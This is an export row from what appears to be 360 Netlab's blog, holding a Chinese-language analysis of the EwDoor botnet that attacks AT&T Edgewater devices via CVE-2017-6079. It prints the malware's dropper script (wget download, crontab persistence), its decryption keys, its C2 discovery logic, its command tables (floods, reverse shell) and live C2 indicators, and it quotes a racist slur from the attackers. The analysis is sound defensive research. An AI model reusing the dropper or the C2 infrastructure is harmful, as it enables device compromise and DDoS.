"]]],[1,"p",[[0,[],0,"对上述典型案例中涉及的IP地址，我们建议其域名拥有者与平台提供者协商，同时雇佣第三方独立安全公司对其网站安全做全面审计。如有必要，可以考虑将公民隐私相关信息的存储位置，放置在更加远离公网访问界面的位置。"]]],[1,"h2",[[0,[],0,"6 联系我们"]]],[1,"p",[[0,[],0,"感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。"]]],[1,"h1",[]]],"ghostVersion":"3.0"} | 619e15253819e500076362e3 |
post | null | 2021-11-25T07:42:11.000Z | 63873b9a8b1c1e0007f52ff5 | warning-ewdoor-botnet-is-attacking-att-customers_cn | 0 | 2021-12-09T08:53:43.000Z | public | published | null | 2021-12-01T03:12:04.000Z | EwDoor僵尸网络，正在攻击美国AT&T用户 | <!--kg-card-begin: markdown--><h2 id="">背景介绍</h2>
<p>2021年10月27日，我们的BotMon系统发现有攻击者正通过CVE-2017-6079漏洞攻击Edgewater Networks设备，其payload里有比较罕见的mount文件系统指令，这引起了我们的兴趣，经过分析，我们确认这是一个全新的僵尸网络家族，基于其针对Edgewater产商、并且有Backdoor的功能，我们将它命名为<strong>EwDoor</strong>。</p>
<p>最初捕获的EwDoor使用了常见的硬编码C2方法，同时采用了冗余机制，单个样本的C2多达14个。Bot运行后会依次向列表中的C2发起网络请求直到成功建立C2会话。这些C2中多数为域名形式，有趣的是它们多数还未来得及注册，因此我们抢注了第二个域名<code>iunno.se</code>以获取Bot的请求。但一开始连接到我们域名的Bot非常少，因为大多数Bot都成功和第一个C2(185.10.68.20)建立连接，这让我们有些许"沮丧"。</p>
<p>转机发生在2021年11月8日，当天7点到10点EwDoor的第一个C2<code>185.10.68.20</code>发生了网络故障，瞬间大量Bot连接到我们注册的C2域名，这使得我们成功的测绘了EwDoor僵尸网络的规模&感染范围，数据分析表明<code>被攻击的设备是企业网络边界控制器，属于电信公司AT&T，而且它们地理位置全都在美国</code>。遗憾的是在经历这次C2网络故障问题后，EwDoor的作者可能认识到了这种C2使用方式存在缺陷，放弃了硬编码C2的方式，转而采用BT tracker方式动态下发C2，我们也因此失去了对EwDoor的视野。</p>
<p>到目前为止，我们视野中的EwDoor经历了3个版本的更新，它的主要功能可以总结成DDoS攻击和Backdoor 2大类，基于被攻击设备和电话通信相关，我们推测它的主要目的就是<strong>DDoS攻击，和窃取敏感信息</strong>，如call log等。</p>
<p>鉴于EwDoor的规模，活跃性，被攻击设备本身以及其所属国家的敏感性，我们决定撰写本文向社区分享我们的发现，共同维护网络安全。</p>
<h2 id="">时间线</h2>
<ul>
<li>2021年10月27日，首次捕获EwDoor，版本号为0.12.0，主要功能为DDoS Attack，File Manager，Reverse Shell，Port Scan等。</li>
<li>2021年11月8日，EwDoor更新，版本号为0.15.0，将C2从本地移向云端，使用BT Tracker。</li>
<li>2021年11月15日，EwDoor更新，版本号为0.16.0，代码结构变化属于微调级别，加入沙箱对抗功能。</li>
<li>2021年11月20日，EwDoor更新，版本号为0.16.0，代码结构变化属于微调级别，BT Trackers有些许变化。</li>
</ul>
<h2 id="ewdoor">EwDoor概述</h2>
<p>我们一共捕获了3个版本的EwDoor，以版本0.16.0为蓝本，可以将EwDoor定性为，一个通过BT tracker下发C2，使用TLS保护流量，主要盈利手段为DDoS攻击，敏感数据盗取的僵尸网络，目前它通过Nday漏洞CVE_2017_6079传播，主要针对网络电话网关设备。</p>
<p>目前支持6大功能：</p>
<ul>
<li>自升级</li>
<li>端口扫描</li>
<li>文件管理</li>
<li>DDoS攻击</li>
<li>反弹SHELL</li>
<li>执行任意命令</li>
</ul>
<p>它的基本流程图如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_briefproc.png" width="860px" />
<h2 id="">规模</h2>
<p>通过抢注作者未注册的CC域名，我们有一段时间看到了这个Botnet的规模，当时活跃Bot IP 6k左右。被感染设备IP的AS号全部为<code>AS7018|AT&T_Services,_Inc.</code>(美国电信公司AT&T)。通过反查这些设备使用的SSl证书，我们发现使用相同SSl证书的IP有10万左右，我们不清楚这些IP对应的设备有多少可被感染，但可以推测他们可能属于同一类设备，有被感染风险。<br>
<img src="__GHOST_URL__/content/images/2021/11/ew.door.sip.png" alt="ew.door.sip" loading="lazy"></p>
<h2 id="shell">shell脚本分析</h2>
<p>EwDoor的前置SHELL脚本比较长，我们摘取了关键部分以供分析。</p>
<pre><code>setup_ramdisk() {
dd if=/dev/zero of=$RAMDISK bs=4096k count=1
gunzip -c $IMAGE > $RAMDISK
mkdir -p $MOUNT
mount $RAMDISK $MOUNT
}
download_update() {
killall -9 ewstat
sleep $[ ( $RANDOM % 10 ) + 1 ]
rm -f $IMAGE
rm -f $EW_BIN
wget -O $IMAGE $1
grep "$EW_BIN" /etc/config/crontab >/dev/null 2>&1
# is it not already in the crontab?
if [ $? != 0 ]; then
echo "* * * * * root $EW_BIN >/dev/null 2>&1 &" >> /etc/config/crontab
fi
sleep 1
cfg_commit
}
</code></pre>
<p>可以看出SHELL脚本的主要功能为：</p>
<ul>
<li>下载执行EwDoor样本</li>
<li>设置Crontab，实现持久化</li>
</ul>
<p>另外值得一提的是EwDoor样本以gzip的形式存放在下载服务器，这在一定程度在逃避了网络规则对2进制文件的查杀；早期版本作者将样本文件制作成<code>Linux rev 1.0 ext2 filesystem</code>文件，然后使用mount这种方式将文件挂载到系统里，这可能也是为了免杀。</p>
<h2 id="">样本分析</h2>
<p>本文选取最新版0.16为主要分析对象，它的基本信息如下所示：</p>
<pre><code>MD5:7d4937e27d0fd75dd6159ffe53ebb505
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Packer:none
Version: 0.16.0
</code></pre>
<p>Ewdoor使用动态链接的方式，虽然使用了一些对抗技巧，但在逆向上没有太多难度。总体来说，功能比较简单，当它在被侵入设备运行时，首先会收集设备信息，实现比较常见的的单一实例，持久化等功能；然后解密出bt tracker，通过访问bt tracker获取C2；最后向C2上报收集到的设备信息，执行C2下发的指令。下文将从对抗技巧，主机行为和网络通信3方面，一一剖析的ewdoor的实现。</p>
<h2 id="">对抗技巧</h2>
<ul>
<li>
<p>网络层面使用TLS协议，防止通信被一眼看穿</p>
</li>
<li>
<p>敏感的资源都被加密，增加逆向难度</p>
</li>
<li>
<p>C2从本地移到“云端”，由BT tracker下发，防止被IOC系统直接提取</p>
</li>
<li>
<p><strong>修改ELF中的"ABIFLAGS" PHT</strong>，以对抗qemu-user，以及一些高内核版本的Linux沙箱。这是一种比较少见的对抗技巧，这说明EwDoor的作者对Linux内核，QEMU，以及Edgewater设备都非常熟悉。<br>
<img src="__GHOST_URL__/content/images/2021/11/ew_abi.png" alt="ew_abi" loading="lazy"><br>
在实际使用qemu-user进行模拟运行时会产生以下错误提示：</p>
<pre><code>write(2, "/tmp/echuysqs: Invalid PT_MIPS_ABIFLAGS entry\n", 46)
</code></pre>
</li>
</ul>
<h2 id="">主机行为</h2>
<p>Ewdoor运行时，会对文件名，参数进行检测。当文件名为"/var/tmp/.mnt/ewupdate"，说明这次是更新操作，此时会通过命令<code>cp -f /var/tmp/.mnt/ewupdate /var/tmp/.mnt/ewstat</code>，把自身复制成ewstat再启动执行；当没有启动参数，或第一个启动不为<code>script</code>时，则通过bash执行<code>/etc/config/ew.conf</code>脚本；只有当第一个启动数据为script时，才会执行下文的处理逻辑，这在某种程度上也是对沙箱/模拟器的一种对抗。</p>
<h3 id="">单一实例</h3>
<p>Ewdoor通过文件锁来实现单一实例，具体实现如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_single.png" width="860px" />
<p>我们可以通过<code>/proc/locks</code>将进程以及文件锁对应起来，此时再执行对应的EwDoor的样本，可以看到并不会有新进程被创建。</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_singemp.png" width="860px" />
<h3 id="">收集设备信息</h3>
<p>Ewdoor收集被侵入设备的主机名，网卡地址等信息以供后面的上线过程使用。</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_host.png" width="860px" />
<h3 id="">持久化</h3>
<p>Ewdoor通过下面代码，定期结束系统中的netflash进程，netflash命令是一个维护命令，用于远程更新系统。Ewdoor通过阻断维护通道，再配合SHELL脚本中crontab，实现持久化。</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_persist.png" width="860px" />
<h2 id="">网络通信</h2>
<p>Ewdoor将网络相关的敏感信息，诸如上线信息，C2，端口等加密存储在样本中。因此要进行网络通信时，首先得解密得到这部分资源，然后通过直接或间接的方式获取到C2，最后和C2建立通信，等待执行C2下发的指令。</p>
<h3 id="">解密</h3>
<p>Ewdoor使用了3张表来描述加密的资源，一张为密文表，一张为密文长度表，一张为组合表。其中密文&密文长度表是用来描述加密资源本身，而组合表则是用来描述资源如何被组合使用。通过密文表和密文长度而可以解密出BT domain, BT port等信息；通过组合表则可以将BT domain&port 组合成BT tracker。</p>
<p>EwDoor通过“gstr”函数解密敏感信息，它的实现如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_gstr.png" width="860px" />
<p>经过逆向分析之后，我们编写了以下IDA脚本，通过它可以解密得到所有的资源信息。</p>
<pre><code># tested in ida 7.0, only for md5 7d4937e27d0fd75dd6159ffe53ebb505
pbuf_base=0x00467014
plen_base=0x00455A14
key="холодно в доме папа в тужурке мама дочуркою топит в печурке!"
cnt=0
while idc.get_wide_dword(plen_base)!=0:
plain=''
blen=idc.get_wide_dword(plen_base)
pbuf=idc.get_wide_dword(pbuf_base)
buf=idc.get_bytes(pbuf,blen)
for i in range(blen):
tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))
plain+=tmp
print plain
plen_base+=4
pbuf_base+=4
cnt+=1
if cnt >=62:
break
</code></pre>
<p>加密资源一共有62项，解密后的前22项如下所示：</p>
<table>
<thead>
<tr>
<th>index</th>
<th>Item</th>
<th>index</th>
<th>item</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>OrOib2zCIWa10v2bunJ</td>
<td>11</td>
<td>tracker.birkenwald.de</td>
</tr>
<tr>
<td>1</td>
<td>6969</td>
<td>12</td>
<td>ipv6.tracker.zerobytes.xyz</td>
</tr>
<tr>
<td>2</td>
<td>53</td>
<td>13</td>
<td>fe.dealclub.de</td>
</tr>
<tr>
<td>3</td>
<td>1337</td>
<td>14</td>
<td>wassermann.online</td>
</tr>
<tr>
<td>4</td>
<td>80</td>
<td>15</td>
<td>mail.realliferpg.de</td>
</tr>
<tr>
<td>5</td>
<td>451</td>
<td>16</td>
<td>movies.zsw.ca</td>
</tr>
<tr>
<td>6</td>
<td>2770</td>
<td>17</td>
<td>tracker.blacksparrowmedia.net</td>
</tr>
<tr>
<td>7</td>
<td>16661</td>
<td>18</td>
<td>code2chicken.nl</td>
</tr>
<tr>
<td>8</td>
<td>2710</td>
<td>19</td>
<td>abufinzio.monocul.us</td>
</tr>
<tr>
<td>9</td>
<td>2960</td>
<td>20</td>
<td>tracker.0x.tf</td>
</tr>
<tr>
<td>10</td>
<td>3391</td>
<td>21</td>
<td>tracker.altrosky.nl</td>
</tr>
</tbody>
</table>
<p>样本中内置的组合表如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_restab.png" width="860px" />
<p>组合表以2项为一组，按顺序组合，即表项11和表项1组合，表项12和表项7组合，依此类推。以[11，1]，[12，7]的组合方式为例，分别得到2个BT tracker的地址"tracker.birkenwald.de :6969"，"ipv6.tracker.zerobytes.xyz:16661"。</p>
<h2 id="c2">获取C2</h2>
<p>EwDoor在不同的版本，获取C2的方式不一样，在版本0.12.0时，采用直接方式；而在0.15，0.16则采用间接方式。</p>
<h3 id="">直接方式</h3>
<p>所谓直接方式，即经过上文的解密流程后，直接就得到了C2。以样本<code>5d653e9a5b1093ef8408c3884fbd9217</code>为例，通过下面的IDA脚本，解密所有加密资源。</p>
<pre><code># tested in ida 7.0, only for md5 5d653e9a5b1093ef8408c3884fbd9217
pbuf_base=0x00467814
plen_base=0x00456100
key="TheMagicalMysteryTourIsComingToTakeYouAway!"
cnt=0
while idc.get_wide_dword(plen_base)!=0:
plain=''
blen=idc.get_wide_dword(plen_base)
pbuf=idc.get_wide_dword(pbuf_base)
buf=idc.get_bytes(pbuf,blen)
for i in range(blen):
tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))
plain+=tmp
print plain
plen_base+=4
pbuf_base+=4
cnt+=1
if cnt>=18:
break
</code></pre>
<p>解密后资源如下表所示，表项1到14为C2，表项15到17为port。</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Item</th>
<th>Index</th>
<th>Item</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>F0JEAADWS4kQFj7iPOQyjA</td>
<td>9</td>
<td>rtmxvd.iunno.se</td>
</tr>
<tr>
<td>1</td>
<td>185.10.68.20</td>
<td>10</td>
<td>hhqnyy.zapto.org</td>
</tr>
<tr>
<td>2</td>
<td>rtmxvd.iunno.se</td>
<td>11</td>
<td>besthatsite.mooo.com</td>
</tr>
<tr>
<td>3</td>
<td>ekgmua.zapto.org</td>
<td>12</td>
<td>b.rtmxvdio.ne</td>
</tr>
<tr>
<td>4</td>
<td>boatreviews.xpresit.net</td>
<td>13</td>
<td>b.hatbowlu3hf.ru</td>
</tr>
<tr>
<td>5</td>
<td>a.rtmxvdio.net</td>
<td>14</td>
<td>b.hatbowlrtx.su</td>
</tr>
<tr>
<td>6</td>
<td>a.hatbowlu3hf.ru</td>
<td>15</td>
<td>13433</td>
</tr>
<tr>
<td>7</td>
<td>a.hatbowlrtx.su</td>
<td>16</td>
<td>443</td>
</tr>
<tr>
<td>8</td>
<td>45.141.157.217</td>
<td>17</td>
<td>53</td>
</tr>
</tbody>
</table>
<h3 id="">间接的方式</h3>
<p>所谓间接方式，即经过上文解密流程后得到的是BT tracker，必须通过向BT tracker发现特定的请求，才能得到C2，这个过程用到了2个函数“bt_generate_daily_hash_and_port”和“bt_try_find_good_peers”，前者用于获取C2的端口，后者用于获取C2的IP。</p>
<p><code>bt_generate_daily_hash_and_port</code>函数的实现如下所示，具体逻辑是将当前时间按“%d%m%Y”格式化后，和"1HAT2BWL"进行拼接，接着计算这个字串的SHA1值，再将SHA1的最后2字节进行运算得到C2的端口。</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_bthash.png" width="860px" />
<p>事实上上面这一步骤计算得到的端口，并非真正的端口值，它还需要加上10。这个过程如下图所示：</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_port.png" width="860px" />
<p><code>bt_try_find_good_peers</code>函数的实现如下所示，具体逻辑是将上文的字串SHA1值作为infohash发送给bt tracker，通过Tracker UDP协议得到C2:PORT，如果PORT等于上文的端口值，则此IP就是C2的IP。</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_bt.png" width="860px" />
<p>以下图2021.11.22日产生的网络流量为例：</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_udp.png" width="860px" />
<p>红色部分为字串"1HAT2BWL22112021"的SHA1值，它最后2字节为0x23a2，它通过以下的代码运算后，就得到了C2的端口“0xc6fc”。</p>
<pre><code>sha18=0x23
sha19=0xa2
def tohex(val, nbits):
return hex((val + (1 << nbits)) % (1 << nbits))
port=sha19+((sha18&0xf)<<8)-15536+10
print tohex(port,16)
</code></pre>
<p>将上面计算得到的SHA1值作为infohash发送给BT tracker，再比较BT tracker返回的服务器端口，可以看出有3组的端口都是0xcff6，任选一组建立通信。</p>
<pre><code>2d 8d 9b d9 : c6fc -> 45.141.155.217:50940
3e 4d 9c 67 : c6fc -> 62.77.156.103:50940
d4 c0 f1 9e : c6fc -> 212.192.241.158:50940
</code></pre>
<p>实际网络连接情况如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_net.png" width="860px" />
<h2 id="c2">和C2通信</h2>
<p>当Ewdoor成功获得C2后，首先通过TLS协议建立连接，然后将上线信息发送给C2，最后等待执行C2下发的指令。这个过程，根据版本的不同，和C2的通信协议可以分成以下俩大类。</p>
<h3 id="012versionprotocol">0.12 version protocol</h3>
<ul>
<li>
<p>TLS连接</p>
<p>TLS连接本身并不值得一说，有意思的点是在0.12的版本中，Ewdoor的作者犯过错误。如下图所示，在0.12版本，Ewdoor通过resolve_and_connect_first解密C2，和C2建立连接。其中参数a1,a2的值来看自res_range，要求a2>=a1才会执行解密，连接这个过程。样本5d653e9a5b1093ef8408c3884fbd9217中a1=8,a2=7，这就产生了BUG，导致编号8到14的C2永远不会被连接，不过Ewdoor的作者很快就意识到了这个Bug，在样本6c553db88e4cd52a2ed4795ec1710421中就修复了。</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_c2bug.png" width="860px" />
</li>
<li>
<p>上线</p>
<p>通过以下代码构造上线包，上线数据里包括从index 0解密出的字串，版本号，设备主机名，设备网卡地址等信息。</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_regv1.png" width="860px" />
<p>实际产生的流量如下所示：</p>
<pre><code>00000000 48 45 4c 4f 20 30 2e 31 32 2e 30 20 46 30 4a 45 |HELO 0.12.0 F0JE|
00000010 41 41 44 57 53 34 6b 51 46 6a 37 69 50 4f 51 79 |AADWS4kQFj7iPOQy|
00000020 6a 41 20 64 65 62 69 61 6e 2d 6d 69 70 73 20 31 |jA debian-mips 1|
00000030 32 33 34 35 36 0a |23456.|
</code></pre>
</li>
<li>
<p>支持的指令</p>
<p>成功上线后，Ewdoor等待执行C2下发的指令，0.12版本支持的指令如下表所示：</p>
<table>
<thead>
<tr>
<th>cmd</th>
<th>purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>uf</td>
<td>udp flood</td>
</tr>
<tr>
<td>sf</td>
<td>syn flood</td>
</tr>
<tr>
<td>cat</td>
<td>exec "cat" cmd</td>
</tr>
<tr>
<td>ping</td>
<td>heartbeat</td>
</tr>
<tr>
<td>exec</td>
<td>run cmd via bash</td>
</tr>
<tr>
<td>exec2</td>
<td>run cmd via popen</td>
</tr>
<tr>
<td>pscan</td>
<td>port scan</td>
</tr>
<tr>
<td>uname</td>
<td>exec "uname" cmd</td>
</tr>
<tr>
<td>update</td>
<td>write "/tmp/.ewupdate"</td>
</tr>
<tr>
<td>reverse</td>
<td>reverse shell</td>
</tr>
<tr>
<td>download</td>
<td>download file via wget</td>
</tr>
</tbody>
</table>
</li>
</ul>
<h3 id="015016versionprotocol">0.15,0.16 version protocol</h3>
<ul>
<li>
<p>TLS连接</p>
</li>
<li>
<p>上线</p>
<p>通过以下代码构造上线包，上线数据里包括从index 0解密出的字串，版本号，设备主机名，设备网卡地址等信息。</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_regv2.png" width="860px" />
<p>实际产生的流量如下所示：</p>
<pre><code>00000000 00 3b 00 00 00 00 00 00 00 00 02 00 06 30 2e 31 |.;...........0.1|
00000010 36 2e 30 00 13 4f 72 4f 69 62 32 7a 43 49 57 61 |6.0..OrOib2zCIWa|
00000020 31 30 76 32 62 75 6e 4a 00 0b 64 65 62 69 61 6e |10v2bunJ..debian|
00000030 2d 6d 69 70 73 00 06 31 32 33 34 35 36 |-mips..123456|
0000003d
</code></pre>
</li>
<li>
<p>指令验签</p>
<p>成功上线后，Ewdoor等待C2下发指令，指令由"len(2 bytes)+Signature(512 bytes)+ sessionid(8bytes)+cmd"4部分组成，当收到指令时，Ewdoor通过<code>proto_verify_signature</code>函数对指令进行数字签名校验，只有通过校验的指令，才会执行。Ewdoor通过这种技术手段保证整个的网络完全可控，不被他人窃取。</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_sig.png" width="860px" />
<p>签名校验使用的是RSA-SHA256方式，其中pubkey是加密存放在样本中，一共550字节，逐一和0x2a异或后，就能得到真正的公钥。</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_key.png" width="860px" />
<p>以实际中收到的payload为例，可以按上文所述的格式将其分成4部分。</p>
<img src="__GHOST_URL__/content/images/2021/11/ew_payload.png" width="860px" />
<p>通过mbedtls自带的pk_verify工具可以很方便的对上面的payload进行校验。</p>
<pre><code>>md5 pubkey
9dba72160f5d02ebdc8a78bcb27defa *pubkey
>md5 msg
5a6d3b1018b5e7543ee6f73d6c9df727 *msg
>md5 msg.sig
10acc6e0e0447d900d6d46c66c8f4406 *msg.sig
>cat msg | hexdump -C
00000000 00 00 00 00 00 00 01 07 01
>pk_verify.exe pubkey msg
. Reading public key from 'pubkey'
. Verifying the SHA-256 signature
. OK (the signature is valid)
</code></pre>
<p>当指令通过验签后，刚执行具体的命令，此处的命令编号为1，是心跳指令。</p>
<ul>
<li>支持的指令</li>
</ul>
<p>0.15，0.16版本支持的指令如下表所示：</p>
<table>
<thead>
<tr>
<th>cmd index</th>
<th>purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>heartbeat</td>
</tr>
<tr>
<td>2</td>
<td>port scan</td>
</tr>
<tr>
<td>4</td>
<td>exec "uname" cmd</td>
</tr>
<tr>
<td>5</td>
<td>download file via wget</td>
</tr>
<tr>
<td>6</td>
<td>update, write "/var/tmp/.ewupdate"</td>
</tr>
<tr>
<td>7</td>
<td>run cmd via bash</td>
</tr>
<tr>
<td>8</td>
<td>run cmd via popen</td>
</tr>
<tr>
<td>9</td>
<td>ddos attack</td>
</tr>
</tbody>
</table>
</li>
</ul>
<h2 id="">花絮</h2>
<ol>
<li>Ewdoor的作者是个修BUG的小能手！<br>
修复前文所述的0.12版本中的C2 BUG只用了16分钟。</li>
</ol>
<pre><code>eef0035f971622cc5f48e164ca28a95f; gzip compressed data, was "ramdisk.img", from Unix, last modified: Wed Oct 27 17:45:08 2021, max compression
fbbacfb20e487265c7fdb30817717f26; gzip compressed data, was "ramdisk.img", from Unix, last modified: Wed Oct 27 18:01:33 2021, max compression
</code></pre>
<ol start="2">
<li>
<p>EwDoor的作者是<code>俄罗斯恐怖摇滚青年</code>？<br>
第一次使用的密钥<code>TheMagicalMysteryTourIsComingToTakeYouAway!</code>,是The Beatles乐队的歌词。<br>
第二次使用的密钥<code>холодно в доме папа в тужурке мама дочуркою топит в печурке!</code>，Google翻译为“<strong>it's cold in the house, dad in a jacket, mom drowns her daughter in the stove!</strong>”，妥妥的一句话恐怖故事，看着让人不寒而栗。</p>
</li>
<li>
<p>EwDoor的作者非常凶!<br>
11月发现我们的蜜罐IP后，在paylaod里骂我们，<code>kill yourself you fucking nigger chink kike, this is a shitty honeypot, DDoS coming</code>，用词相当的种族歧视，政治不正确，直言要攻击，吓得我们"瑟瑟发抖"。<br>
<img src="__GHOST_URL__/content/images/2021/11/ew_gos2.png" width="860px" /></p>
</li>
</ol>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在<a href="https://twitter.com/360Netlab">twitter</a>或者在微信公众号 360Netlab上联系我们。</p>
<h2 id="ioc">IoC</h2>
<h3 id="c2">C2</h3>
<pre><code>185.10.68.20
rtmxvd.iunno.se
ekgmua.zapto.org
boatreviews.xpresit.net
a.rtmxvdio.net
a.hatbowlu3hf.ru
a.hatbowlrtx.su
45.141.157.217
rtmxvd.iunno.se
hhqnyy.zapto.org
besthatsite.mooo.com
b.rtmxvdio.net
b.hatbowlu3hf.ru
b.hatbowlrtx.su
port: 53， 443，13433
</code></pre>
<h3 id="downloader">Downloader</h3>
<pre><code>http://185[.10.68.20:1234/ew-new.sh
http://185[.10.68.20:1234/ew.sh
http://185[.10.68.20:1234/prod/mips
http://185[.10.68.20:1234/ramdisk.img.gz
http://212[.193.30.209/61501e55/mips
http://212[.193.30.209/859b6cfa.sh
</code></pre>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>007c28d9a0ccfb10c478689fd63e0de0
128331f1c808ee385375dd54d0609ebc
46c18a8e93a863053952985a39bd7d63
4f0841ac08a27d8b3d56cbd03fb68ad8
5c4390e1668856cc7f72499a72f935d6
62bc8899a353921ac685cabb63de97b3
67ccb3cf1f4f57f5a0ded4d20bc91d73
7d4937e27d0fd75dd6159ffe53ebb505
84b3df62ed45bea57d0dd85e80f0dc07
8794d23cad330de803294a2a1adb128b
abaed830fe09e92ee434236d3db01e08
b81ade4f18c2df58adef301f401e8a02
ca6eb890853434ab9a0f8cdbab0965ea
ddf96434bdb7b449ddcc925e6a5b3095
eef0035f971622cc5f48e164ca28a95f
fbbacfb20e487265c7fdb30817717f26
</code></pre>
<!--kg-card-end: markdown--><p></p> | 背景介绍
2021年10月27日，我们的BotMon系统发现有攻击者正通过CVE-2017-6079漏洞攻击Edgewater Networks设备，其payload里有比较罕见的mount文件系统指令，这引起了我们的兴趣，经过分析，我们确认这是一个全新的僵尸网络家族，基于其针对Edgewater产商、并且有Backdoor的功能，我们将它命名为EwDoor。
最初捕获的EwDoor使用了常见的硬编码C2方法，同时采用了冗余机制，单个样本的C2多达14个。Bot运行后会依次向列表中的C2发起网络请求直到成功建立C2会话。这些C2中多数为域名形式，有趣的是它们多数还未来得及注册，因此我们抢注了第二个域名iunno.se以获取Bot的请求。但一开始连接到我们域名的Bot非常少，因为大多数Bot都成功和第一个C2(185.10.68.20)建立连接，这让我们有些许"沮丧"。
转机发生在2021年11月8日，当天7点到10点EwDoor的第一个C2185.10.68.20发生了网络故障，瞬间大量Bot连接到我们注册的C2域名，这使得我们成功的测绘了EwDoor僵尸网络的规模&感染范围，数据分析表明被攻击的设备是企业网络边界控制器，属于电信公司AT&T，而且它们地理位置全都在美国。遗憾的是在经历这次C2网络故障问题后，EwDoor的作者可能认识到了这种C2使用方式存在缺陷，放弃了硬编码C2的方式，转而采用BT tracker方式动态下发C2，我们也因此失去了对EwDoor的视野。
到目前为止，我们视野中的EwDoor经历了3个版本的更新，它的主要功能可以总结成DDoS攻击和Backdoor 2大类，基于被攻击设备和电话通信相关，我们推测它的主要目的就是DDoS攻击，和窃取敏感信息，如call log等。
鉴于EwDoor的规模，活跃性，被攻击设备本身以及其所属国家的敏感性，我们决定撰写本文向社区分享我们的发现，共同维护网络安全。
时间线
* 2021年10月27日，首次捕获EwDoor，版本号为0.12.0，主要功能为DDoS Attack，File Manager，Reverse Shell，Port Scan等。
* 2021年11月8日，EwDoor更新，版本号为0.15.0，将C2从本地移向云端，使用BT Tracker。
* 2021年11月15日，EwDoor更新，版本号为0.16.0，代码结构变化属于微调级别，加入沙箱对抗功能。
* 2021年11月20日，EwDoor更新，版本号为0.16.0，代码结构变化属于微调级别，BT Trackers有些许变化。
EwDoor概述
我们一共捕获了3个版本的EwDoor，以版本0.16.0为蓝本，可以将EwDoor定性为，一个通过BT tracker下发C2，使用TLS保护流量，主要盈利手段为DDoS攻击，敏感数据盗取的僵尸网络，目前它通过Nday漏洞CVE_2017_6079传播，主要针对网络电话网关设备。
目前支持6大功能：
* 自升级
* 端口扫描
* 文件管理
* DDoS攻击
* 反弹SHELL
* 执行任意命令
它的基本流程图如下所示：
规模
通过抢注作者未注册的CC域名，我们有一段时间看到了这个Botnet的规模，当时活跃Bot IP 6k左右。被感染设备IP的AS号全部为AS7018|AT&T_Services,_Inc.(美国电信公司AT&T)。通过反查这些设备使用的SSl证书，我们发现使用相同SSl证书的IP有10万左右，我们不清楚这些IP对应的设备有多少可被感染，但可以推测他们可能属于同一类设备，有被感染风险。
shell脚本分析
EwDoor的前置SHELL脚本比较长，我们摘取了关键部分以供分析。
setup_ramdisk() {
dd if=/dev/zero of=$RAMDISK bs=4096k count=1
gunzip -c $IMAGE > $RAMDISK
mkdir -p $MOUNT
mount $RAMDISK $MOUNT
}
download_update() {
killall -9 ewstat
sleep $[ ( $RANDOM % 10 ) + 1 ]
rm -f $IMAGE
rm -f $EW_BIN
wget -O $IMAGE $1
grep "$EW_BIN" /etc/config/crontab >/dev/null 2>&1
# is it not already in the crontab?
if [ $? != 0 ]; then
echo "* * * * * root $EW_BIN >/dev/null 2>&1 &" >> /etc/config/crontab
fi
sleep 1
cfg_commit
}
可以看出SHELL脚本的主要功能为：
* 下载执行EwDoor样本
* 设置Crontab，实现持久化
另外值得一提的是EwDoor样本以gzip的形式存放在下载服务器，这在一定程度在逃避了网络规则对2进制文件的查杀；早期版本作者将样本文件制作成Linux rev 1.0 ext2 filesystem文件，然后使用mount这种方式将文件挂载到系统里，这可能也是为了免杀。
样本分析
本文选取最新版0.16为主要分析对象，它的基本信息如下所示：
MD5:7d4937e27d0fd75dd6159ffe53ebb505
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Packer:none
Version: 0.16.0
Ewdoor使用动态链接的方式，虽然使用了一些对抗技巧，但在逆向上没有太多难度。总体来说，功能比较简单，当它在被侵入设备运行时，首先会收集设备信息，实现比较常见的的单一实例，持久化等功能；然后解密出bt tracker，通过访问bt tracker获取C2；最后向C2上报收集到的设备信息，执行C2下发的指令。下文将从对抗技巧，主机行为和网络通信3方面，一一剖析的ewdoor的实现。
对抗技巧
*
网络层面使用TLS协议，防止通信被一眼看穿
*
敏感的资源都被加密，增加逆向难度
*
C2从本地移到“云端”，由BT tracker下发，防止被IOC系统直接提取
*
修改ELF中的"ABIFLAGS" PHT，以对抗qemu-user，以及一些高内核版本的Linux沙箱。这是一种比较少见的对抗技巧，这说明EwDoor的作者对Linux内核，QEMU，以及Edgewater设备都非常熟悉。
在实际使用qemu-user进行模拟运行时会产生以下错误提示：
write(2, "/tmp/echuysqs: Invalid PT_MIPS_ABIFLAGS entry\n", 46)
主机行为
